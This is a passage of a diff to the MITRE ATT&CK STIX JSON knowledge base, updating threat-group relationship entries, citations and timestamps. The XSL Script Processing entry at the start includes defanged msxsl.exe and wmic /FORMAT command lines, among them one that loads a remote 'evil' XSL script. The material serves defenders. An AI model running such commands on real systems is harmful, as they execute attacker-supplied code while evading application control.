extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d", + "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d", "external_references": [ { "source_name": "mitre-attack", @@ -35434,7 +37367,7 @@ "kill_chain_name": "mitre-attack" } ], - "modified": "2020-06-20T22:45:46.479Z", + "modified": "2021-02-09T15:07:00.842Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_is_subtechnique": false, "x_mitre_system_requirements": [ @@ -35453,10 +37386,8 @@ "Digital Certificate Validation" ], "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Process use of network", - "DLL monitoring" + "Process: Process Creation", + "Module: Module Load" ], "x_mitre_contributors": [ "Avneet Singh", @@ -35643,27 +37574,32 @@ { "id": "relationship--04203d88-5fe1-4e63-be65-51a17705716b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)(Citation: Symantec Cicada November 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "source_name": "PWC Cloud Hopper Technical Annex April 2017" }, { "source_name": "Github AD-Pentest-Script", "description": "Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.", "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs" + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "type": "relationship", - "modified": "2019-09-03T18:50:16.264Z", + "modified": "2020-12-17T18:57:21.331Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -36029,7 +37965,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "type": "relationship", - "modified": "2020-03-15T01:07:42.903Z", + "modified": "2021-04-22T23:09:24.950Z", "created": "2017-05-31T21:33:27.030Z" }, { @@ -36773,16 +38709,16 @@ ], "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", "relationship_type": "uses", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "type": "relationship", - "modified": "2019-03-22T20:15:19.351Z", + "modified": "2021-01-06T19:32:28.284Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -36952,14 +38888,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "relationship_type": "uses", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "type": "relationship", - "modified": "2020-05-14T15:14:33.568Z", + "modified": "2021-04-27T19:53:40.756Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -37007,7 +38944,7 @@ { "id": "relationship--67469b79-67e2-4932-9776-b09a82871723", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "A [OilRig](https://attack.mitre.org/groups/G0049) macro has run a PowerShell command to decode file contents. [OilRig](https://attack.mitre.org/groups/G0049) has also used [certutil](https://attack.mitre.org/software/S0160) to decode base64-encoded files on victims.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig New Delivery Oct 2017)(Citation: Unit 42 OopsIE! Feb 2018)", + "description": "A [OilRig](https://attack.mitre.org/groups/G0049) macro has run a PowerShell command to decode file contents. [OilRig](https://attack.mitre.org/groups/G0049) has also used [certutil](https://attack.mitre.org/software/S0160) to decode base64-encoded files on victims.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig New Delivery Oct 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Crowdstrike GTR2020 Mar 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -37018,21 +38955,26 @@ "source_name": "FireEye APT34 Dec 2017" }, { - "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/", + "source_name": "OilRig New Delivery Oct 2017", "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", - "source_name": "OilRig New Delivery Oct 2017" + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" }, { - "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", + "source_name": "Unit 42 OopsIE! Feb 2018", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", - "source_name": "Unit 42 OopsIE! Feb 2018" + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." } ], "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "relationship_type": "uses", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "type": "relationship", - "modified": "2020-03-18T20:18:02.221Z", + "modified": "2021-03-12T16:36:07.554Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -37096,7 +39038,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } @@ -37105,7 +39047,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "type": "relationship", - "modified": "2019-07-14T21:15:54.884Z", + "modified": "2021-03-29T19:43:26.734Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -37437,12 +39379,12 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "description": "(Citation: Cylance Cleaver)", "type": "relationship", - "modified": "2019-03-22T20:00:23.916Z", + "modified": "2021-04-21T16:41:34.257Z", "created": "2017-05-31T21:33:27.032Z" }, { @@ -37754,50 +39696,34 @@ { "id": "relationship--3e82234f-db7b-4a0f-8c0a-979b01381a6a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used filenames and Registry key names associated with Windows Defender.(Citation: FireEye MuddyWater Mar 2018)(Citation: Talos MuddyWater May 2019)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.(Citation: FireEye MuddyWater Mar 2018)(Citation: Talos MuddyWater May 2019)(Citation: Anomali Static Kitten February 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "FireEye MuddyWater Mar 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html", "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", - "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + "source_name": "FireEye MuddyWater Mar 2018" }, { "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html", "source_name": "Talos MuddyWater May 2019" + }, + { + "source_name": "Anomali Static Kitten February 2021", + "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021." } ], "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "type": "relationship", - "modified": "2020-03-18T15:14:10.936Z", + "modified": "2021-03-17T20:37:58.362Z", "created": "2018-04-18T17:59:24.739Z" }, - { - "id": "relationship--95bbada2-6096-475e-b8c5-7b79351b03a0", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", - "relationship_type": "uses", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "external_references": [ - { - "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", - "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", - "source_name": "FireEye APT19" - } - ], - "description": "(Citation: FireEye APT19)", - "type": "relationship", - "modified": "2019-04-25T11:39:52.290Z", - "created": "2018-10-17T00:14:20.652Z" - }, { "id": "relationship--a93e5f9f-5c8c-4832-93db-a6c180840a43", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -37808,7 +39734,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "type": "relationship", - "modified": "2020-06-19T20:07:09.769Z", + "modified": "2021-04-22T20:22:02.706Z", "created": "2017-05-31T21:33:27.031Z" }, { @@ -38025,7 +39951,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "type": "relationship", - "modified": "2020-07-14T19:39:44.767Z", + "modified": "2021-02-09T15:34:09.607Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -38065,7 +39991,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "type": "relationship", - "modified": "2020-10-21T01:10:54.561Z", + "modified": "2021-04-12T18:25:16.677Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -38202,32 +40128,37 @@ { "id": "relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT28](https://attack.mitre.org/groups/G0007) has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant.(Citation: Bitdefender APT28 Dec 2015)(Citation: Unit 42 Playbook Dec 2017)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant.(Citation: Bitdefender APT28 Dec 2015)(Citation: Unit 42 Playbook Dec 2017)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020) ", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", + "source_name": "Bitdefender APT28 Dec 2015", "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", - "source_name": "Bitdefender APT28 Dec 2015" + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" }, { - "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", - "url": "https://pan-unit42.github.io/playbook_viewer/" + "source_name": "Unit 42 Playbook Dec 2017" }, { "source_name": "Accenture SNAKEMACKEREL Nov 2018", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019." + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021." } ], "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "relationship_type": "uses", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "type": "relationship", - "modified": "2019-09-09T17:44:34.477Z", + "modified": "2021-01-14T20:28:31.309Z", "created": "2017-05-31T21:33:27.038Z" }, { @@ -38282,7 +40213,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", "type": "relationship", - "modified": "2020-01-30T22:27:40.243Z", + "modified": "2021-02-09T14:09:00.861Z", "created": "2017-05-31T21:33:27.018Z" }, { @@ -38839,14 +40770,14 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)", "type": "relationship", - "modified": "2019-04-22T15:08:48.543Z", + "modified": "2021-03-29T19:54:46.049Z", "created": "2017-05-31T21:33:27.034Z" }, { @@ -39009,14 +40940,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "type": "relationship", - "modified": "2020-03-17T00:50:15.111Z", + "modified": "2020-11-23T17:03:38.524Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -39097,14 +41028,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "relationship_type": "uses", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "type": "relationship", - "modified": "2020-05-14T14:30:09.423Z", + "modified": "2021-04-27T19:53:40.814Z", "created": "2017-05-31T21:33:27.055Z" }, { @@ -39316,7 +41248,7 @@ { "id": "relationship--55d44c4e-c864-4e6f-ac33-62f13cd08f0e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has added Registry Run key KCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemTextEncoding to establish persistence.(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has added Registry Run key KCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\SystemTextEncoding to establish persistence.(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -39340,41 +41272,20 @@ "source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2020-05-18T19:04:37.811Z", + "modified": "2021-03-19T13:38:12.616Z", "created": "2018-04-18T17:59:24.739Z" }, - { - "id": "relationship--12547d20-24ca-4145-98b3-dc0849f78ef1", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", - "relationship_type": "uses", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "external_references": [ - { - "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", - "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", - "source_name": "Unit 42 DarkHydrus July 2018" - }, - { - "url": "https://pan-unit42.github.io/playbook_viewer/", - "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", - "source_name": "Unit 42 Playbook Dec 2017" - } - ], - "description": "(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)", - "type": "relationship", - "modified": "2019-04-22T19:23:13.514Z", - "created": "2018-10-17T00:14:20.652Z" - }, { "id": "relationship--9c1ec4da-96d9-4173-b944-77c341a19572", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -39503,27 +41414,6 @@ "modified": "2020-03-30T02:59:01.829Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--f1e20caf-cba3-4d4c-a5d4-0a06ce224b78", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has targeted manufacturers in the supply chain for the defense industry.(Citation: Symantec Elderwood Sept 2012)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "Symantec Elderwood Sept 2012", - "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" - } - ], - "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", - "relationship_type": "uses", - "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", - "type": "relationship", - "modified": "2019-03-22T20:15:19.380Z", - "created": "2018-04-18T17:59:24.739Z" - }, { "id": "relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -39708,14 +41598,14 @@ { "source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", - "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf" } ], "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "relationship_type": "uses", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "type": "relationship", - "modified": "2020-03-18T15:57:39.746Z", + "modified": "2020-11-23T17:03:38.566Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -40187,7 +42077,7 @@ { "id": "relationship--2305a634-b226-4da2-a766-bec5458f9447", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments to recipients.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)\t ", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -40211,13 +42101,23 @@ "source_name": "ClearSky MuddyWater June 2019", "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf", "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020." + }, + { + "source_name": "Anomali Static Kitten February 2021", + "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021." + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." } ], "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "relationship_type": "uses", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "type": "relationship", - "modified": "2020-05-18T17:29:30.990Z", + "modified": "2021-03-18T14:44:16.893Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -40452,12 +42352,12 @@ "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" } ], - "type": "relationship", - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z", "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", "relationship_type": "uses", - "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279" + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "type": "relationship", + "modified": "2021-02-09T14:56:14.765Z", + "created": "2018-04-18T17:59:24.739Z" }, { "id": "relationship--8d7c04bb-ed5b-4339-a115-62089ea6711b", @@ -40469,7 +42369,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", "type": "relationship", - "modified": "2020-07-14T19:38:14.416Z", + "modified": "2020-11-16T17:37:45.651Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -40737,7 +42637,7 @@ ], "external_references": [ { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). 